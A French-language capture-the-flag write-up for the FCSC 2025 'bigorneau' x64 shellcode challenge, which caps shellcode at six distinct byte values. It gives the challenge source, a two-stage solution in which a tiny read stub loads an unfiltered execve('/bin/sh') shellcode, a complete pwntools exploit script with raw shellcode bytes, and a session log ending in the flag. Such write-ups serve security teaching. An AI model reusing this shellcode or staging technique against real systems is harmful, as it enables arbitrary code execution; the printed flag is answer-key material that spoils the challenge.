Solution de tritrilemagnifique pour Bigorneau

pwn x86/x64

28 avril 2025

🔍 Challenge Description

On cherche souvent à obtenir des shellcodes avec des contraintes bizarres, soit en taille, soit alphanumérique, etc. Ici, on tente une nouvelle contrainte bizarre pour un shellcode x64 : vous n’avez le droit d’utiliser que 6 valeurs d’octets différents (i.e., len(set(shellcode)) <= 6) !

🔎 Challenge Analysis

Le challenge “bigorneau” consiste à créer un shellcode avec une contrainte particulière : n’utiliser que 6 octets uniques maximum.

Protections : ✅ Full RELRO, ✅ Canary, ✅ PIE. ❌ Le NX est désactivé

Le serveur exécute un programme Python qui:

  1. Demande un shellcode à l’utilisateur
  2. Vérifie que ce shellcode utilise au maximum 6 octets uniques
  3. Vérifie que sa taille ne dépasse pas 128 octets
  4. Si les vérifications sont passées, exécute le shellcode via le programme C

Le code met à 0 tous les registres avant l’exécution du shellcode

	SC = b"\x48\x31\xed" + SC # xor rbp, rbp
	SC = b"\x4d\x31\xff" + SC # xor r15, r15
	SC = b"\x4d\x31\xf6" + SC # xor r14, r14
	SC = b"\x4d\x31\xed" + SC # xor r13, r13
	SC = b"\x4d\x31\xe4" + SC # xor r12, r12
	SC = b"\x4d\x31\xdb" + SC # xor r11, r11
	SC = b"\x4d\x31\xd2" + SC # xor r10, r10
	SC = b"\x4d\x31\xc9" + SC # xor  r9,  r9
	SC = b"\x4d\x31\xc0" + SC # xor  r8,  r8
	SC = b"\x48\x31\xf6" + SC # xor rsi, rsi
	SC = b"\x48\x31\xff" + SC # xor rdi, rdi
	SC = b"\x48\x31\xd2" + SC # xor rdx, rdx
	SC = b"\x48\x31\xc9" + SC # xor rcx, rcx
	SC = b"\x48\x31\xdb" + SC # xor rbx, rbx
	SC = b"\x48\x31\xc0" + SC # xor rax, rax

	# Prepare running the shellcode
	tmp = tempfile.mkdtemp(dir = "/dev/shm/", prefix = bytes.hex(os.urandom(8)))
	fn = os.path.join(tmp, "shellcode")
	with open(fn, "wb") as f:
	    f.write(SC)

	# Running the shellcode
	subprocess.run(["./bigorneau", fn], stderr = sys.stdout, timeout = 120)

Le code C charge le shellcode du fichier passé en argument


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	if (argc != 2) {
		printf("Usage: %s <shellcode_file>\n", argv[0]);
		exit(1);
	}
	uint8_t sc[1024];
	FILE *fp = fopen(argv[1], "r");
	fread(sc, sizeof(sc), 1, fp);
	fclose(fp);
	((void (*) (void)) sc) ();
	return EXIT_SUCCESS;
}

💡 Solution

La difficulté principale est qu’un shellcode fonctionnel utilise généralement plus de 6 octets uniques. Pour contourner cette limitation, j’ai utilisé une technique en deux étapes:

  1. Envoyer un premier shellcode minimal (respectant la contrainte des 6 octets uniques) qui exécute un syscall read pour lire de nouvelles données
  2. Envoyer un second shellcode qui ne sera pas filtré car il est lu directement par le premier shellcode

⚙️ Premier shellcode

0:   e8 00 00 00 00          call   0x5
5:   5e                      pop    rsi
6:   b2 e8                   mov    dl, 0xe8
8:   0f 05                   syscall

Ce shellcode utilise seulement 5 octets uniques: 0x00, 0x05, 0x0f, 0xe8 et 0x5e.

Explication:

  • call 0x5: Appelle l’instruction juste après, plaçant l’adresse de retour sur la pile
  • pop rsi: Récupère cette adresse dans le registre RSI (pointeur vers notre buffer)
  • mov dl, 0xe8: Charge 0xe8 (232) dans DL, qui sert de longueur pour le syscall read
  • syscall: Exécute le syscall READ

⚙️ Second shellcode

Le second shellcode est un shellcode classique d’exécution de shell /bin/sh qui n’est pas soumis à la contrainte des 6 octets uniques.

🚀 Implémentation

from pwn import *
import time

# Connection au serveur
p = remote("chall.fcsc.fr", 2102)

# Premier shellcode (5 octets uniques)
shell1 = "e8000000005eb2e80f05"

# Second shellcode (shellcode standard pour execve("/bin/sh"))
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# Padding + shellcode
shell2 = (cyclic_find("aaac"))*b"\x90" + b"\x90"*8 + shellcode

# Envoi du premier shellcode
p.sendlineafter(b"bytes):", shell1.encode())

# Envoi du second shellcode
p.sendline(shell2)

# Interaction avec le shell obtenu
p.interactive()

🏁 Flag

[>] Opening connection to chall.fcsc.fr on port 2102
[+] Opening connection to chall.fcsc.fr on port 2102: Done
   0:   e8 00 00 00 00          call   0x5
   5:   5e                      pop    esi
   6:   b2 e8                   mov    dl, 0xe8
   8:   0f 05                   syscall

[*] Switching to interactive mode

$ ls
bigorneau
bigorneau.py
flag.txt
$ cat flag.txt
FCSC{619c629f9dd846fe8f1db9f23693707b7a334ab7da1507dc904b9d5c3fc2a15c}